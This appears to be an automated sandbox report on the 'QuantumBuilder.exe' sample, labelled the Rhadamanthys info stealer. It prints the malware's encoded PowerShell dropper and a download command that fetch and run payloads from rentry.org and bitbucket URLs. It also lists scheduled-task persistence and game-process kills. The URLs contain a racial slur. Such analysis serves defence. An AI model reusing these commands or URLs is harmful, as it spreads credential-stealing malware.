Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/06/2024, 12:53

General

  • Target
    QUANTUMBUILDER/QuantumBuilder.exe
  • Size 7KB
  • Sample240608-p4rhzscf95
  • SHA256 31e6573e37d06a71b3025c0e9ed4901093ed5262bc60bbbdf7ce1ed28ebb021a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://rentry.org/FUCKOFFNIGGA/raw

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://bitbucket.org/gedegrereghh/fuckyougithub/raw/37140025d15f5d49ec2bd023f7557f06268d7c49/pancake-unpacked.rar

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates processes with tasklist 1 TTPs 8 IoCs
  • Kills process with taskkill 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2596
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4888
    • C:\Users\Admin\AppData\Local\Temp\QUANTUMBUILDER\QuantumBuilder.exe
      "C:\Users\Admin\AppData\Local\Temp\QUANTUMBUILDER\QuantumBuilder.exe"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBtAG4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBuAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABlAG0AIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAEYAVQBDAEsATwBGAEYATgBJAEcARwBBAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBkAHYAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG4AagBkACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAeQB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB6AHUAagAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBmAHcAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagBtAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHkAYwBoACMAPgA="
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Users\Admin\AppData\Roaming\kao2g202.buj0.exe
          "C:\Users\Admin\AppData\Roaming\kao2g202.buj0.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2196
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2F8C.tmp\2F8D.tmp\2F8E.bat C:\Users\Admin\AppData\Roaming\kao2g202.buj0.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2428
            • C:\Windows\system32\chcp.com
              chcp 1251
              5⤵
                PID:4884
              • C:\Windows\system32\findstr.exe
                findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
                5⤵
                  PID:3160
                • C:\Windows\system32\findstr.exe
                  findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
                  5⤵
                    PID:552
                  • C:\Windows\system32\findstr.exe
                    findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
                    5⤵
                      PID:3844
                    • C:\Windows\system32\schtasks.exe
                      schtasks /query /tn "MyBatchScript"
                      5⤵
                        PID:4848
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
                        5⤵
                        • Creates scheduled task(s)
                        PID:2232
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5104
                        • C:\Windows\system32\reg.exe
                          reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
                          6⤵
                            PID:1568
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3108
                          • C:\Windows\system32\reg.exe
                            reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
                            6⤵
                              PID:1900
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/gedegrereghh/fuckyougithub/raw/37140025d15f5d49ec2bd023f7557f06268d7c49/pancake-unpacked.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
                            5⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:452
                          • C:\Windows\system32\tasklist.exe
                            tasklist
                            5⤵
                            • Enumerates processes with tasklist
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2008
                          • C:\Windows\system32\find.exe
                            find /i "tf_win64.exe"
                            5⤵
                              PID:1076
                            • C:\Windows\system32\taskkill.exe
                              taskkill /f /im tf_win64.exe
                              5⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3820
                            • C:\Windows\system32\tasklist.exe
                              tasklist
                              5⤵
                              • Enumerates processes with tasklist
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3916
                            • C:\Windows\system32\find.exe
                              find /i "dota2.exe"
                              5⤵
                                PID:1540
                              • C:\Windows\system32\taskkill.exe
                                taskkill /f /im dota2.exe
                                5⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4000
                              • C:\Windows\system32\tasklist.exe
                                tasklist
                                5⤵
                                • Enumerates processes with tasklist
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4664
                              • C:\Windows\system32\find.exe
                                find /i "cs2.exe"
                                5⤵
                                  PID:220
                                • C:\Windows\system32\taskkill.exe
                                  taskkill /f /im cs2.exe
                                  5⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4176
                                • C:\Windows\system32\tasklist.exe
                                  tasklist
                                  5⤵
                                  • Enumerates processes with tasklist
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1180
                                • C:\Windows\system32\find.exe
                                  find /i "RustClient.exe"
                                  5⤵
                                    PID:4704
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /f /im RustClient.exe
                                    5⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4564
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist
                                    5⤵
                                    • Enumerates processes with tasklist
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1032
                                  • C:\Windows\system32\find.exe
                                    find /i "GTA5.exe"
                                    5⤵
                                      PID:2792
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /f /im GTA5.exe
                                      5⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1600
                                    • C:\Windows\system32\tasklist.exe
                                      tasklist
                                      5⤵
                                      • Enumerates processes with tasklist
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1316
                                    • C:\Windows\system32\find.exe
                                      find /i "TslGame.exe"
                                      5⤵
                                        PID:3224
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /f /im TslGame.exe
                                        5⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4076
                                      • C:\Windows\system32\tasklist.exe
                                        tasklist
                                        5⤵
                                        • Enumerates processes with tasklist
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2772
                                      • C:\Windows\system32\find.exe
                                        find /i "RainbowSix.exe"
                                        5⤵
                                          PID:2892
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /f /im RainbowSix.exe
                                          5⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1224
                                        • C:\Windows\system32\timeout.exe
                                          timeout /t 3
                                          5⤵
                                          • Delays execution with timeout.exe
                                          PID:2248
                                        • C:\Windows\system32\tasklist.exe
                                          tasklist
                                          5⤵
                                          • Enumerates processes with tasklist
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2924
                                        • C:\Windows\system32\find.exe
                                          find /i "steam.exe"
                                          5⤵
                                            PID:924
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /f /im steam.exe
                                            5⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3108
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 3
                                            5⤵
                                            • Delays execution with timeout.exe
                                            PID:2224
                                          • C:\Windows\system32\tar.exe
                                            tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
                                            5⤵
                                              PID:3312
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\Desktop\Steam.lnk'); $s.TargetPath = '\steam.exe'; $s.Save()"
                                              5⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1796
                                        • C:\Users\Admin\AppData\Roaming\kao2g202.buj1.exe
                                          "C:\Users\Admin\AppData\Roaming\kao2g202.buj1.exe"
                                          3⤵
                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                          • Executes dropped EXE
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of WriteProcessMemory
                                          PID:1432

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          powershell.exe.log

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                          • Size 3KB
                                          • SHA256 4d1fb0f061443c242efe97aa111051274348ca152659b45ff5e2fc8c5ac42bb6
                                          • MD5 SHA1 SHA512

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 1KB
                                          • SHA256 1d4386c8314cab4e8eac6f967e2bb30f90ee8237e0efcb83e19009992c6839e7
                                          • MD5 SHA1 SHA512

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 1KB
                                          • SHA256 36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
                                          • MD5 SHA1 SHA512

                                          2F8E.bat

                                          • Path C:\Users\Admin\AppData\Local\Temp\2F8C.tmp\2F8D.tmp\2F8E.bat
                                          • Size 6KB
                                          • SHA256 3b03eba10dc8cc18f1ffa3726d6ff3e242183da10b47c8217f0b3b79eee1b3c8
                                          • MD5 SHA1 SHA512 SSDEEP

                                          __PSScriptPolicyTest_12z5jssq.5tx.ps1

                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_12z5jssq.5tx.ps1
                                          • Size 60B
                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                          • MD5 SHA1 SHA512

                                          kao2g202.buj0.exe

                                          • Path C:\Users\Admin\AppData\Roaming\kao2g202.buj0.exe
                                          • Size 126KB
                                          • SHA256 36d868815764b2c7b77ded962a02c2949db328a98ac714644e9426bb6d47fa1a
                                          • MD5 SHA1 SHA512 SSDEEP

                                          kao2g202.buj1.exe

                                          • Path C:\Users\Admin\AppData\Roaming\kao2g202.buj1.exe
                                          • Size 355KB
                                          • SHA256 7205faf5054589ce7dc6b68dcfea45c18859cb49a3c0d4bda840fc9d308152bd
                                          • MD5 SHA1 SHA512 SSDEEP

                                          memory/1432-57-0x00007FF9081D0000-0x00007FF9083C5000-memory.dmp

                                          memory/1432-56-0x00000000038C0000-0x0000000003CC0000-memory.dmp

                                          memory/1432-59-0x0000000076830000-0x0000000076A45000-memory.dmp

                                          memory/1432-38-0x0000000000440000-0x00000000004AD000-memory.dmp

                                          memory/1432-55-0x00000000038C0000-0x0000000003CC0000-memory.dmp

                                          memory/1432-61-0x0000000000440000-0x00000000004AD000-memory.dmp

                                          memory/4316-0-0x0000000000B00000-0x0000000000B08000-memory.dmp

                                          memory/4316-1-0x00007FF8E9E53000-0x00007FF8E9E55000-memory.dmp

                                          memory/4500-15-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

                                          memory/4500-41-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

                                          memory/4500-17-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

                                          memory/4500-16-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

                                          memory/4500-14-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

                                          memory/4500-13-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

                                          memory/4500-12-0x0000019676FF0000-0x0000019677012000-memory.dmp

                                          memory/4888-60-0x00000000003B0000-0x00000000003B9000-memory.dmp

                                          memory/4888-63-0x00000000023B0000-0x00000000027B0000-memory.dmp

                                          memory/4888-66-0x0000000076830000-0x0000000076A45000-memory.dmp

                                          memory/4888-64-0x00007FF9081D0000-0x00007FF9083C5000-memory.dmp